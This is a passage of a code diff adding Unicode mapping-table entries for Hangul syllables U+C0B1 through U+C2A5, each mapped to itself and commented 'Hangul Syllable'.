+ ["\uC0B1", "\uC0B1"], /* Hangul Syllable */
+ ["\uC0B2", "\uC0B2"], /* Hangul Syllable */
+ ["\uC0B3", "\uC0B3"], /* Hangul Syllable */
+ ["\uC0B4", "\uC0B4"], /* Hangul Syllable */
+ ["\uC0B5", "\uC0B5"], /* Hangul Syllable */
+ ["\uC0B6", "\uC0B6"], /* Hangul Syllable */
+ ["\uC0B7", "\uC0B7"], /* Hangul Syllable */
+ ["\uC0B8", "\uC0B8"], /* Hangul Syllable */
+ ["\uC0B9", "\uC0B9"], /* Hangul Syllable */
+ ["\uC0BA", "\uC0BA"], /* Hangul Syllable */
+ ["\uC0BB", "\uC0BB"], /* Hangul Syllable */
+ ["\uC0BC", "\uC0BC"], /* Hangul Syllable */
+ ["\uC0BD", "\uC0BD"], /* Hangul Syllable */
+ ["\uC0BE", "\uC0BE"], /* Hangul Syllable */
+ ["\uC0BF", "\uC0BF"], /* Hangul Syllable */
+ ["\uC0C0", "\uC0C0"], /* Hangul Syllable */
+ ["\uC0C1", "\uC0C1"], /* Hangul Syllable */
+ ["\uC0C2", "\uC0C2"], /* Hangul Syllable */
+ ["\uC0C3", "\uC0C3"], /* Hangul Syllable */
+ ["\uC0C4", "\uC0C4"], /* Hangul Syllable */
+ ["\uC0C5", "\uC0C5"], /* Hangul Syllable */
+ ["\uC0C6", "\uC0C6"], /* Hangul Syllable */
+ ["\uC0C7", "\uC0C7"], /* Hangul Syllable */
+ ["\uC0C8", "\uC0C8"], /* Hangul Syllable */
+ ["\uC0C9", "\uC0C9"], /* Hangul Syllable */
+ ["\uC0CA", "\uC0CA"], /* Hangul Syllable */
+ ["\uC0CB", "\uC0CB"], /* Hangul Syllable */
+ ["\uC0CC", "\uC0CC"], /* Hangul Syllable */
+ ["\uC0CD", "\uC0CD"], /* Hangul Syllable */
+ ["\uC0CE", "\uC0CE"], /* Hangul Syllable */
+ ["\uC0CF", "\uC0CF"], /* Hangul Syllable */
+ ["\uC0D0", "\uC0D0"], /* Hangul Syllable */
+ ["\uC0D1", "\uC0D1"], /* Hangul Syllable */
+ ["\uC0D2", "\uC0D2"], /* Hangul Syllable */
+ ["\uC0D3", "\uC0D3"], /* Hangul Syllable */
+ ["\uC0D4", "\uC0D4"], /* Hangul Syllable */
+ ["\uC0D5", "\uC0D5"], /* Hangul Syllable */
+ ["\uC0D6", "\uC0D6"], /* Hangul Syllable */
+ ["\uC0D7", "\uC0D7"], /* Hangul Syllable */
+ ["\uC0D8", "\uC0D8"], /* Hangul Syllable */
+ ["\uC0D9", "\uC0D9"], /* Hangul Syllable */
+ ["\uC0DA", "\uC0DA"], /* Hangul Syllable */
+ ["\uC0DB", "\uC0DB"], /* Hangul Syllable */
+ ["\uC0DC", "\uC0DC"], /* Hangul Syllable */
+ ["\uC0DD", "\uC0DD"], /* Hangul Syllable */
+ ["\uC0DE", "\uC0DE"], /* Hangul Syllable */
+ ["\uC0DF", "\uC0DF"], /* Hangul Syllable */
+ ["\uC0E0", "\uC0E0"], /* Hangul Syllable */
+ ["\uC0E1", "\uC0E1"], /* Hangul Syllable */
+ ["\uC0E2", "\uC0E2"], /* Hangul Syllable */
+ ["\uC0E3", "\uC0E3"], /* Hangul Syllable */
+ ["\uC0E4", "\uC0E4"], /* Hangul Syllable */
+ ["\uC0E5", "\uC0E5"], /* Hangul Syllable */
+ ["\uC0E6", "\uC0E6"], /* Hangul Syllable */
+ ["\uC0E7", "\uC0E7"], /* Hangul Syllable */
+ ["\uC0E8", "\uC0E8"], /* Hangul Syllable */
+ ["\uC0E9", "\uC0E9"], /* Hangul Syllable */
+ ["\uC0EA", "\uC0EA"], /* Hangul Syllable */
+ ["\uC0EB", "\uC0EB"], /* Hangul Syllable */
+ ["\uC0EC", "\uC0EC"], /* Hangul Syllable */
+ ["\uC0ED", "\uC0ED"], /* Hangul Syllable */
+ ["\uC0EE", "\uC0EE"], /* Hangul Syllable */
+ ["\uC0EF", "\uC0EF"], /* Hangul Syllable */
+ ["\uC0F0", "\uC0F0"], /* Hangul Syllable */
+ ["\uC0F1", "\uC0F1"], /* Hangul Syllable */
+ ["\uC0F2", "\uC0F2"], /* Hangul Syllable */
+ ["\uC0F3", "\uC0F3"], /* Hangul Syllable */
+ ["\uC0F4", "\uC0F4"], /* Hangul Syllable */
+ ["\uC0F5", "\uC0F5"], /* Hangul Syllable */
+ ["\uC0F6", "\uC0F6"], /* Hangul Syllable */
+ ["\uC0F7", "\uC0F7"], /* Hangul Syllable */
+ ["\uC0F8", "\uC0F8"], /* Hangul Syllable */
+ ["\uC0F9", "\uC0F9"], /* Hangul Syllable */
+ ["\uC0FA", "\uC0FA"], /* Hangul Syllable */
+ ["\uC0FB", "\uC0FB"], /* Hangul Syllable */
+ ["\uC0FC", "\uC0FC"], /* Hangul Syllable */
+ ["\uC0FD", "\uC0FD"], /* Hangul Syllable */
+ ["\uC0FE", "\uC0FE"], /* Hangul Syllable */
+ ["\uC0FF", "\uC0FF"], /* Hangul Syllable */
+ ["\uC100", "\uC100"], /* Hangul Syllable */
+ ["\uC101", "\uC101"], /* Hangul Syllable */
+ ["\uC102", "\uC102"], /* Hangul Syllable */
+ ["\uC103", "\uC103"], /* Hangul Syllable */
+ ["\uC104", "\uC104"], /* Hangul Syllable */
+ ["\uC105", "\uC105"], /* Hangul Syllable */
+ ["\uC106", "\uC106"], /* Hangul Syllable */
+ ["\uC107", "\uC107"], /* Hangul Syllable */
+ ["\uC108", "\uC108"], /* Hangul Syllable */
+ ["\uC109", "\uC109"], /* Hangul Syllable */
+ ["\uC10A", "\uC10A"], /* Hangul Syllable */
+ ["\uC10B", "\uC10B"], /* Hangul Syllable */
+ ["\uC10C", "\uC10C"], /* Hangul Syllable */
+ ["\uC10D", "\uC10D"], /* Hangul Syllable */
+ ["\uC10E", "\uC10E"], /* Hangul Syllable */
+ ["\uC10F", "\uC10F"], /* Hangul Syllable */
+ ["\uC110", "\uC110"], /* Hangul Syllable */
+ ["\uC111", "\uC111"], /* Hangul Syllable */
+ ["\uC112", "\uC112"], /* Hangul Syllable */
+ ["\uC113", "\uC113"], /* Hangul Syllable */
+ ["\uC114", "\uC114"], /* Hangul Syllable */
+ ["\uC115", "\uC115"], /* Hangul Syllable */
+ ["\uC116", "\uC116"], /* Hangul Syllable */
+ ["\uC117", "\uC117"], /* Hangul Syllable */
+ ["\uC118", "\uC118"], /* Hangul Syllable */
+ ["\uC119", "\uC119"], /* Hangul Syllable */
+ ["\uC11A", "\uC11A"], /* Hangul Syllable */
+ ["\uC11B", "\uC11B"], /* Hangul Syllable */
+ ["\uC11C", "\uC11C"], /* Hangul Syllable */
+ ["\uC11D", "\uC11D"], /* Hangul Syllable */
+ ["\uC11E", "\uC11E"], /* Hangul Syllable */
+ ["\uC11F", "\uC11F"], /* Hangul Syllable */
+ ["\uC120", "\uC120"], /* Hangul Syllable */
+ ["\uC121", "\uC121"], /* Hangul Syllable */
+ ["\uC122", "\uC122"], /* Hangul Syllable */
+ ["\uC123", "\uC123"], /* Hangul Syllable */
+ ["\uC124", "\uC124"], /* Hangul Syllable */
+ ["\uC125", "\uC125"], /* Hangul Syllable */
+ ["\uC126", "\uC126"], /* Hangul Syllable */
+ ["\uC127", "\uC127"], /* Hangul Syllable */
+ ["\uC128", "\uC128"], /* Hangul Syllable */
+ ["\uC129", "\uC129"], /* Hangul Syllable */
+ ["\uC12A", "\uC12A"], /* Hangul Syllable */
+ ["\uC12B", "\uC12B"], /* Hangul Syllable */
+ ["\uC12C", "\uC12C"], /* Hangul Syllable */
+ ["\uC12D", "\uC12D"], /* Hangul Syllable */
+ ["\uC12E", "\uC12E"], /* Hangul Syllable */
+ ["\uC12F", "\uC12F"], /* Hangul Syllable */
+ ["\uC130", "\uC130"], /* Hangul Syllable */
+ ["\uC131", "\uC131"], /* Hangul Syllable */
+ ["\uC132", "\uC132"], /* Hangul Syllable */
+ ["\uC133", "\uC133"], /* Hangul Syllable */
+ ["\uC134", "\uC134"], /* Hangul Syllable */
+ ["\uC135", "\uC135"], /* Hangul Syllable */
+ ["\uC136", "\uC136"], /* Hangul Syllable */
+ ["\uC137", "\uC137"], /* Hangul Syllable */
+ ["\uC138", "\uC138"], /* Hangul Syllable */
+ ["\uC139", "\uC139"], /* Hangul Syllable */
+ ["\uC13A", "\uC13A"], /* Hangul Syllable */
+ ["\uC13B", "\uC13B"], /* Hangul Syllable */
+ ["\uC13C", "\uC13C"], /* Hangul Syllable */
+ ["\uC13D", "\uC13D"], /* Hangul Syllable */
+ ["\uC13E", "\uC13E"], /* Hangul Syllable */
+ ["\uC13F", "\uC13F"], /* Hangul Syllable */
+ ["\uC140", "\uC140"], /* Hangul Syllable */
+ ["\uC141", "\uC141"], /* Hangul Syllable */
+ ["\uC142", "\uC142"], /* Hangul Syllable */
+ ["\uC143", "\uC143"], /* Hangul Syllable */
+ ["\uC144", "\uC144"], /* Hangul Syllable */
+ ["\uC145", "\uC145"], /* Hangul Syllable */
+ ["\uC146", "\uC146"], /* Hangul Syllable */
+ ["\uC147", "\uC147"], /* Hangul Syllable */
+ ["\uC148", "\uC148"], /* Hangul Syllable */
+ ["\uC149", "\uC149"], /* Hangul Syllable */
+ ["\uC14A", "\uC14A"], /* Hangul Syllable */
+ ["\uC14B", "\uC14B"], /* Hangul Syllable */
+ ["\uC14C", "\uC14C"], /* Hangul Syllable */
+ ["\uC14D", "\uC14D"], /* Hangul Syllable */
+ ["\uC14E", "\uC14E"], /* Hangul Syllable */
+ ["\uC14F", "\uC14F"], /* Hangul Syllable */
+ ["\uC150", "\uC150"], /* Hangul Syllable */
+ ["\uC151", "\uC151"], /* Hangul Syllable */
+ ["\uC152", "\uC152"], /* Hangul Syllable */
+ ["\uC153", "\uC153"], /* Hangul Syllable */
+ ["\uC154", "\uC154"], /* Hangul Syllable */
+ ["\uC155", "\uC155"], /* Hangul Syllable */
+ ["\uC156", "\uC156"], /* Hangul Syllable */
+ ["\uC157", "\uC157"], /* Hangul Syllable */
+ ["\uC158", "\uC158"], /* Hangul Syllable */
+ ["\uC159", "\uC159"], /* Hangul Syllable */
+ ["\uC15A", "\uC15A"], /* Hangul Syllable */
+ ["\uC15B", "\uC15B"], /* Hangul Syllable */
+ ["\uC15C", "\uC15C"], /* Hangul Syllable */
+ ["\uC15D", "\uC15D"], /* Hangul Syllable */
+ ["\uC15E", "\uC15E"], /* Hangul Syllable */
+ ["\uC15F", "\uC15F"], /* Hangul Syllable */
+ ["\uC160", "\uC160"], /* Hangul Syllable */
+ ["\uC161", "\uC161"], /* Hangul Syllable */
+ ["\uC162", "\uC162"], /* Hangul Syllable */
+ ["\uC163", "\uC163"], /* Hangul Syllable */
+ ["\uC164", "\uC164"], /* Hangul Syllable */
+ ["\uC165", "\uC165"], /* Hangul Syllable */
+ ["\uC166", "\uC166"], /* Hangul Syllable */
+ ["\uC167", "\uC167"], /* Hangul Syllable */
+ ["\uC168", "\uC168"], /* Hangul Syllable */
+ ["\uC169", "\uC169"], /* Hangul Syllable */
+ ["\uC16A", "\uC16A"], /* Hangul Syllable */
+ ["\uC16B", "\uC16B"], /* Hangul Syllable */
+ ["\uC16C", "\uC16C"], /* Hangul Syllable */
+ ["\uC16D", "\uC16D"], /* Hangul Syllable */
+ ["\uC16E", "\uC16E"], /* Hangul Syllable */
+ ["\uC16F", "\uC16F"], /* Hangul Syllable */
+ ["\uC170", "\uC170"], /* Hangul Syllable */
+ ["\uC171", "\uC171"], /* Hangul Syllable */
+ ["\uC172", "\uC172"], /* Hangul Syllable */
+ ["\uC173", "\uC173"], /* Hangul Syllable */
+ ["\uC174", "\uC174"], /* Hangul Syllable */
+ ["\uC175", "\uC175"], /* Hangul Syllable */
+ ["\uC176", "\uC176"], /* Hangul Syllable */
+ ["\uC177", "\uC177"], /* Hangul Syllable */
+ ["\uC178", "\uC178"], /* Hangul Syllable */
+ ["\uC179", "\uC179"], /* Hangul Syllable */
+ ["\uC17A", "\uC17A"], /* Hangul Syllable */
+ ["\uC17B", "\uC17B"], /* Hangul Syllable */
+ ["\uC17C", "\uC17C"], /* Hangul Syllable */
+ ["\uC17D", "\uC17D"], /* Hangul Syllable */
+ ["\uC17E", "\uC17E"], /* Hangul Syllable */
+ ["\uC17F", "\uC17F"], /* Hangul Syllable */
+ ["\uC180", "\uC180"], /* Hangul Syllable */
+ ["\uC181", "\uC181"], /* Hangul Syllable */
+ ["\uC182", "\uC182"], /* Hangul Syllable */
+ ["\uC183", "\uC183"], /* Hangul Syllable */
+ ["\uC184", "\uC184"], /* Hangul Syllable */
+ ["\uC185", "\uC185"], /* Hangul Syllable */
+ ["\uC186", "\uC186"], /* Hangul Syllable */
+ ["\uC187", "\uC187"], /* Hangul Syllable */
+ ["\uC188", "\uC188"], /* Hangul Syllable */
+ ["\uC189", "\uC189"], /* Hangul Syllable */
+ ["\uC18A", "\uC18A"], /* Hangul Syllable */
+ ["\uC18B", "\uC18B"], /* Hangul Syllable */
+ ["\uC18C", "\uC18C"], /* Hangul Syllable */
+ ["\uC18D", "\uC18D"], /* Hangul Syllable */
+ ["\uC18E", "\uC18E"], /* Hangul Syllable */
+ ["\uC18F", "\uC18F"], /* Hangul Syllable */
+ ["\uC190", "\uC190"], /* Hangul Syllable */
+ ["\uC191", "\uC191"], /* Hangul Syllable */
+ ["\uC192", "\uC192"], /* Hangul Syllable */
+ ["\uC193", "\uC193"], /* Hangul Syllable */
+ ["\uC194", "\uC194"], /* Hangul Syllable */
+ ["\uC195", "\uC195"], /* Hangul Syllable */
+ ["\uC196", "\uC196"], /* Hangul Syllable */
+ ["\uC197", "\uC197"], /* Hangul Syllable */
+ ["\uC198", "\uC198"], /* Hangul Syllable */
+ ["\uC199", "\uC199"], /* Hangul Syllable */
+ ["\uC19A", "\uC19A"], /* Hangul Syllable */
+ ["\uC19B", "\uC19B"], /* Hangul Syllable */
+ ["\uC19C", "\uC19C"], /* Hangul Syllable */
+ ["\uC19D", "\uC19D"], /* Hangul Syllable */
+ ["\uC19E", "\uC19E"], /* Hangul Syllable */
+ ["\uC19F", "\uC19F"], /* Hangul Syllable */
+ ["\uC1A0", "\uC1A0"], /* Hangul Syllable */
+ ["\uC1A1", "\uC1A1"], /* Hangul Syllable */
+ ["\uC1A2", "\uC1A2"], /* Hangul Syllable */
+ ["\uC1A3", "\uC1A3"], /* Hangul Syllable */
+ ["\uC1A4", "\uC1A4"], /* Hangul Syllable */
+ ["\uC1A5", "\uC1A5"], /* Hangul Syllable */
+ ["\uC1A6", "\uC1A6"], /* Hangul Syllable */
+ ["\uC1A7", "\uC1A7"], /* Hangul Syllable */
+ ["\uC1A8", "\uC1A8"], /* Hangul Syllable */
+ ["\uC1A9", "\uC1A9"], /* Hangul Syllable */
+ ["\uC1AA", "\uC1AA"], /* Hangul Syllable */
+ ["\uC1AB", "\uC1AB"], /* Hangul Syllable */
+ ["\uC1AC", "\uC1AC"], /* Hangul Syllable */
+ ["\uC1AD", "\uC1AD"], /* Hangul Syllable */
+ ["\uC1AE", "\uC1AE"], /* Hangul Syllable */
+ ["\uC1AF", "\uC1AF"], /* Hangul Syllable */
+ ["\uC1B0", "\uC1B0"], /* Hangul Syllable */
+ ["\uC1B1", "\uC1B1"], /* Hangul Syllable */
+ ["\uC1B2", "\uC1B2"], /* Hangul Syllable */
+ ["\uC1B3", "\uC1B3"], /* Hangul Syllable */
+ ["\uC1B4", "\uC1B4"], /* Hangul Syllable */
+ ["\uC1B5", "\uC1B5"], /* Hangul Syllable */
+ ["\uC1B6", "\uC1B6"], /* Hangul Syllable */
+ ["\uC1B7", "\uC1B7"], /* Hangul Syllable */
+ ["\uC1B8", "\uC1B8"], /* Hangul Syllable */
+ ["\uC1B9", "\uC1B9"], /* Hangul Syllable */
+ ["\uC1BA", "\uC1BA"], /* Hangul Syllable */
+ ["\uC1BB", "\uC1BB"], /* Hangul Syllable */
+ ["\uC1BC", "\uC1BC"], /* Hangul Syllable */
+ ["\uC1BD", "\uC1BD"], /* Hangul Syllable */
+ ["\uC1BE", "\uC1BE"], /* Hangul Syllable */
+ ["\uC1BF", "\uC1BF"], /* Hangul Syllable */
+ ["\uC1C0", "\uC1C0"], /* Hangul Syllable */
+ ["\uC1C1", "\uC1C1"], /* Hangul Syllable */
+ ["\uC1C2", "\uC1C2"], /* Hangul Syllable */
+ ["\uC1C3", "\uC1C3"], /* Hangul Syllable */
+ ["\uC1C4", "\uC1C4"], /* Hangul Syllable */
+ ["\uC1C5", "\uC1C5"], /* Hangul Syllable */
+ ["\uC1C6", "\uC1C6"], /* Hangul Syllable */
+ ["\uC1C7", "\uC1C7"], /* Hangul Syllable */
+ ["\uC1C8", "\uC1C8"], /* Hangul Syllable */
+ ["\uC1C9", "\uC1C9"], /* Hangul Syllable */
+ ["\uC1CA", "\uC1CA"], /* Hangul Syllable */
+ ["\uC1CB", "\uC1CB"], /* Hangul Syllable */
+ ["\uC1CC", "\uC1CC"], /* Hangul Syllable */
+ ["\uC1CD", "\uC1CD"], /* Hangul Syllable */
+ ["\uC1CE", "\uC1CE"], /* Hangul Syllable */
+ ["\uC1CF", "\uC1CF"], /* Hangul Syllable */
+ ["\uC1D0", "\uC1D0"], /* Hangul Syllable */
+ ["\uC1D1", "\uC1D1"], /* Hangul Syllable */
+ ["\uC1D2", "\uC1D2"], /* Hangul Syllable */
+ ["\uC1D3", "\uC1D3"], /* Hangul Syllable */
+ ["\uC1D4", "\uC1D4"], /* Hangul Syllable */
+ ["\uC1D5", "\uC1D5"], /* Hangul Syllable */
+ ["\uC1D6", "\uC1D6"], /* Hangul Syllable */
+ ["\uC1D7", "\uC1D7"], /* Hangul Syllable */
+ ["\uC1D8", "\uC1D8"], /* Hangul Syllable */
+ ["\uC1D9", "\uC1D9"], /* Hangul Syllable */
+ ["\uC1DA", "\uC1DA"], /* Hangul Syllable */
+ ["\uC1DB", "\uC1DB"], /* Hangul Syllable */
+ ["\uC1DC", "\uC1DC"], /* Hangul Syllable */
+ ["\uC1DD", "\uC1DD"], /* Hangul Syllable */
+ ["\uC1DE", "\uC1DE"], /* Hangul Syllable */
+ ["\uC1DF", "\uC1DF"], /* Hangul Syllable */
+ ["\uC1E0", "\uC1E0"], /* Hangul Syllable */
+ ["\uC1E1", "\uC1E1"], /* Hangul Syllable */
+ ["\uC1E2", "\uC1E2"], /* Hangul Syllable */
+ ["\uC1E3", "\uC1E3"], /* Hangul Syllable */
+ ["\uC1E4", "\uC1E4"], /* Hangul Syllable */
+ ["\uC1E5", "\uC1E5"], /* Hangul Syllable */
+ ["\uC1E6", "\uC1E6"], /* Hangul Syllable */
+ ["\uC1E7", "\uC1E7"], /* Hangul Syllable */
+ ["\uC1E8", "\uC1E8"], /* Hangul Syllable */
+ ["\uC1E9", "\uC1E9"], /* Hangul Syllable */
+ ["\uC1EA", "\uC1EA"], /* Hangul Syllable */
+ ["\uC1EB", "\uC1EB"], /* Hangul Syllable */
+ ["\uC1EC", "\uC1EC"], /* Hangul Syllable */
+ ["\uC1ED", "\uC1ED"], /* Hangul Syllable */
+ ["\uC1EE", "\uC1EE"], /* Hangul Syllable */
+ ["\uC1EF", "\uC1EF"], /* Hangul Syllable */
+ ["\uC1F0", "\uC1F0"], /* Hangul Syllable */
+ ["\uC1F1", "\uC1F1"], /* Hangul Syllable */
+ ["\uC1F2", "\uC1F2"], /* Hangul Syllable */
+ ["\uC1F3", "\uC1F3"], /* Hangul Syllable */
+ ["\uC1F4", "\uC1F4"], /* Hangul Syllable */
+ ["\uC1F5", "\uC1F5"], /* Hangul Syllable */
+ ["\uC1F6", "\uC1F6"], /* Hangul Syllable */
+ ["\uC1F7", "\uC1F7"], /* Hangul Syllable */
+ ["\uC1F8", "\uC1F8"], /* Hangul Syllable */
+ ["\uC1F9", "\uC1F9"], /* Hangul Syllable */
+ ["\uC1FA", "\uC1FA"], /* Hangul Syllable */
+ ["\uC1FB", "\uC1FB"], /* Hangul Syllable */
+ ["\uC1FC", "\uC1FC"], /* Hangul Syllable */
+ ["\uC1FD", "\uC1FD"], /* Hangul Syllable */
+ ["\uC1FE", "\uC1FE"], /* Hangul Syllable */
+ ["\uC1FF", "\uC1FF"], /* Hangul Syllable */
+ ["\uC200", "\uC200"], /* Hangul Syllable */
+ ["\uC201", "\uC201"], /* Hangul Syllable */
+ ["\uC202", "\uC202"], /* Hangul Syllable */
+ ["\uC203", "\uC203"], /* Hangul Syllable */
+ ["\uC204", "\uC204"], /* Hangul Syllable */
+ ["\uC205", "\uC205"], /* Hangul Syllable */
+ ["\uC206", "\uC206"], /* Hangul Syllable */
+ ["\uC207", "\uC207"], /* Hangul Syllable */
+ ["\uC208", "\uC208"], /* Hangul Syllable */
+ ["\uC209", "\uC209"], /* Hangul Syllable */
+ ["\uC20A", "\uC20A"], /* Hangul Syllable */
+ ["\uC20B", "\uC20B"], /* Hangul Syllable */
+ ["\uC20C", "\uC20C"], /* Hangul Syllable */
+ ["\uC20D", "\uC20D"], /* Hangul Syllable */
+ ["\uC20E", "\uC20E"], /* Hangul Syllable */
+ ["\uC20F", "\uC20F"], /* Hangul Syllable */
+ ["\uC210", "\uC210"], /* Hangul Syllable */
+ ["\uC211", "\uC211"], /* Hangul Syllable */
+ ["\uC212", "\uC212"], /* Hangul Syllable */
+ ["\uC213", "\uC213"], /* Hangul Syllable */
+ ["\uC214", "\uC214"], /* Hangul Syllable */
+ ["\uC215", "\uC215"], /* Hangul Syllable */
+ ["\uC216", "\uC216"], /* Hangul Syllable */
+ ["\uC217", "\uC217"], /* Hangul Syllable */
+ ["\uC218", "\uC218"], /* Hangul Syllable */
+ ["\uC219", "\uC219"], /* Hangul Syllable */
+ ["\uC21A", "\uC21A"], /* Hangul Syllable */
+ ["\uC21B", "\uC21B"], /* Hangul Syllable */
+ ["\uC21C", "\uC21C"], /* Hangul Syllable */
+ ["\uC21D", "\uC21D"], /* Hangul Syllable */
+ ["\uC21E", "\uC21E"], /* Hangul Syllable */
+ ["\uC21F", "\uC21F"], /* Hangul Syllable */
+ ["\uC220", "\uC220"], /* Hangul Syllable */
+ ["\uC221", "\uC221"], /* Hangul Syllable */
+ ["\uC222", "\uC222"], /* Hangul Syllable */
+ ["\uC223", "\uC223"], /* Hangul Syllable */
+ ["\uC224", "\uC224"], /* Hangul Syllable */
+ ["\uC225", "\uC225"], /* Hangul Syllable */
+ ["\uC226", "\uC226"], /* Hangul Syllable */
+ ["\uC227", "\uC227"], /* Hangul Syllable */
+ ["\uC228", "\uC228"], /* Hangul Syllable */
+ ["\uC229", "\uC229"], /* Hangul Syllable */
+ ["\uC22A", "\uC22A"], /* Hangul Syllable */
+ ["\uC22B", "\uC22B"], /* Hangul Syllable */
+ ["\uC22C", "\uC22C"], /* Hangul Syllable */
+ ["\uC22D", "\uC22D"], /* Hangul Syllable */
+ ["\uC22E", "\uC22E"], /* Hangul Syllable */
+ ["\uC22F", "\uC22F"], /* Hangul Syllable */
+ ["\uC230", "\uC230"], /* Hangul Syllable */
+ ["\uC231", "\uC231"], /* Hangul Syllable */
+ ["\uC232", "\uC232"], /* Hangul Syllable */
+ ["\uC233", "\uC233"], /* Hangul Syllable */
+ ["\uC234", "\uC234"], /* Hangul Syllable */
+ ["\uC235", "\uC235"], /* Hangul Syllable */
+ ["\uC236", "\uC236"], /* Hangul Syllable */
+ ["\uC237", "\uC237"], /* Hangul Syllable */
+ ["\uC238", "\uC238"], /* Hangul Syllable */
+ ["\uC239", "\uC239"], /* Hangul Syllable */
+ ["\uC23A", "\uC23A"], /* Hangul Syllable */
+ ["\uC23B", "\uC23B"], /* Hangul Syllable */
+ ["\uC23C", "\uC23C"], /* Hangul Syllable */
+ ["\uC23D", "\uC23D"], /* Hangul Syllable */
+ ["\uC23E", "\uC23E"], /* Hangul Syllable */
+ ["\uC23F", "\uC23F"], /* Hangul Syllable */
+ ["\uC240", "\uC240"], /* Hangul Syllable */
+ ["\uC241", "\uC241"], /* Hangul Syllable */
+ ["\uC242", "\uC242"], /* Hangul Syllable */
+ ["\uC243", "\uC243"], /* Hangul Syllable */
+ ["\uC244", "\uC244"], /* Hangul Syllable */
+ ["\uC245", "\uC245"], /* Hangul Syllable */
+ ["\uC246", "\uC246"], /* Hangul Syllable */
+ ["\uC247", "\uC247"], /* Hangul Syllable */
+ ["\uC248", "\uC248"], /* Hangul Syllable */
+ ["\uC249", "\uC249"], /* Hangul Syllable */
+ ["\uC24A", "\uC24A"], /* Hangul Syllable */
+ ["\uC24B", "\uC24B"], /* Hangul Syllable */
+ ["\uC24C", "\uC24C"], /* Hangul Syllable */
+ ["\uC24D", "\uC24D"], /* Hangul Syllable */
+ ["\uC24E", "\uC24E"], /* Hangul Syllable */
+ ["\uC24F", "\uC24F"], /* Hangul Syllable */
+ ["\uC250", "\uC250"], /* Hangul Syllable */
+ ["\uC251", "\uC251"], /* Hangul Syllable */
+ ["\uC252", "\uC252"], /* Hangul Syllable */
+ ["\uC253", "\uC253"], /* Hangul Syllable */
+ ["\uC254", "\uC254"], /* Hangul Syllable */
+ ["\uC255", "\uC255"], /* Hangul Syllable */
+ ["\uC256", "\uC256"], /* Hangul Syllable */
+ ["\uC257", "\uC257"], /* Hangul Syllable */
+ ["\uC258", "\uC258"], /* Hangul Syllable */
+ ["\uC259", "\uC259"], /* Hangul Syllable */
+ ["\uC25A", "\uC25A"], /* Hangul Syllable */
+ ["\uC25B", "\uC25B"], /* Hangul Syllable */
+ ["\uC25C", "\uC25C"], /* Hangul Syllable */
+ ["\uC25D", "\uC25D"], /* Hangul Syllable */
+ ["\uC25E", "\uC25E"], /* Hangul Syllable */
+ ["\uC25F", "\uC25F"], /* Hangul Syllable */
+ ["\uC260", "\uC260"], /* Hangul Syllable */
+ ["\uC261", "\uC261"], /* Hangul Syllable */
+ ["\uC262", "\uC262"], /* Hangul Syllable */
+ ["\uC263", "\uC263"], /* Hangul Syllable */
+ ["\uC264", "\uC264"], /* Hangul Syllable */
+ ["\uC265", "\uC265"], /* Hangul Syllable */
+ ["\uC266", "\uC266"], /* Hangul Syllable */
+ ["\uC267", "\uC267"], /* Hangul Syllable */
+ ["\uC268", "\uC268"], /* Hangul Syllable */
+ ["\uC269", "\uC269"], /* Hangul Syllable */
+ ["\uC26A", "\uC26A"], /* Hangul Syllable */
+ ["\uC26B", "\uC26B"], /* Hangul Syllable */
+ ["\uC26C", "\uC26C"], /* Hangul Syllable */
+ ["\uC26D", "\uC26D"], /* Hangul Syllable */
+ ["\uC26E", "\uC26E"], /* Hangul Syllable */
+ ["\uC26F", "\uC26F"], /* Hangul Syllable */
+ ["\uC270", "\uC270"], /* Hangul Syllable */
+ ["\uC271", "\uC271"], /* Hangul Syllable */
+ ["\uC272", "\uC272"], /* Hangul Syllable */
+ ["\uC273", "\uC273"], /* Hangul Syllable */
+ ["\uC274", "\uC274"], /* Hangul Syllable */
+ ["\uC275", "\uC275"], /* Hangul Syllable */
+ ["\uC276", "\uC276"], /* Hangul Syllable */
+ ["\uC277", "\uC277"], /* Hangul Syllable */
+ ["\uC278", "\uC278"], /* Hangul Syllable */
+ ["\uC279", "\uC279"], /* Hangul Syllable */
+ ["\uC27A", "\uC27A"], /* Hangul Syllable */
+ ["\uC27B", "\uC27B"], /* Hangul Syllable */
+ ["\uC27C", "\uC27C"], /* Hangul Syllable */
+ ["\uC27D", "\uC27D"], /* Hangul Syllable */
+ ["\uC27E", "\uC27E"], /* Hangul Syllable */
+ ["\uC27F", "\uC27F"], /* Hangul Syllable */
+ ["\uC280", "\uC280"], /* Hangul Syllable */
+ ["\uC281", "\uC281"], /* Hangul Syllable */
+ ["\uC282", "\uC282"], /* Hangul Syllable */
+ ["\uC283", "\uC283"], /* Hangul Syllable */
+ ["\uC284", "\uC284"], /* Hangul Syllable */
+ ["\uC285", "\uC285"], /* Hangul Syllable */
+ ["\uC286", "\uC286"], /* Hangul Syllable */
+ ["\uC287", "\uC287"], /* Hangul Syllable */
+ ["\uC288", "\uC288"], /* Hangul Syllable */
+ ["\uC289", "\uC289"], /* Hangul Syllable */
+ ["\uC28A", "\uC28A"], /* Hangul Syllable */
+ ["\uC28B", "\uC28B"], /* Hangul Syllable */
+ ["\uC28C", "\uC28C"], /* Hangul Syllable */
+ ["\uC28D", "\uC28D"], /* Hangul Syllable */
+ ["\uC28E", "\uC28E"], /* Hangul Syllable */
+ ["\uC28F", "\uC28F"], /* Hangul Syllable */
+ ["\uC290", "\uC290"], /* Hangul Syllable */
+ ["\uC291", "\uC291"], /* Hangul Syllable */
+ ["\uC292", "\uC292"], /* Hangul Syllable */
+ ["\uC293", "\uC293"], /* Hangul Syllable */
+ ["\uC294", "\uC294"], /* Hangul Syllable */
+ ["\uC295", "\uC295"], /* Hangul Syllable */
+ ["\uC296", "\uC296"], /* Hangul Syllable */
+ ["\uC297", "\uC297"], /* Hangul Syllable */
+ ["\uC298", "\uC298"], /* Hangul Syllable */
+ ["\uC299", "\uC299"], /* Hangul Syllable */
+ ["\uC29A", "\uC29A"], /* Hangul Syllable */
+ ["\uC29B", "\uC29B"], /* Hangul Syllable */
+ ["\uC29C", "\uC29C"], /* Hangul Syllable */
+ ["\uC29D", "\uC29D"], /* Hangul Syllable */
+ ["\uC29E", "\uC29E"], /* Hangul Syllable */
+ ["\uC29F", "\uC29F"], /* Hangul Syllable */
+ ["\uC2A0", "\uC2A0"], /* Hangul Syllable */
+ ["\uC2A1", "\uC2A1"], /* Hangul Syllable */
+ ["\uC2A2", "\uC2A2"], /* Hangul Syllable */
+ ["\uC2A3", "\uC2A3"], /* Hangul Syllable */
+ ["\uC2A4", "\uC2A4"], /* Hangul Syllable */
+ ["\uC2A5", "\uC2A5"], /* Hangul Syllable */
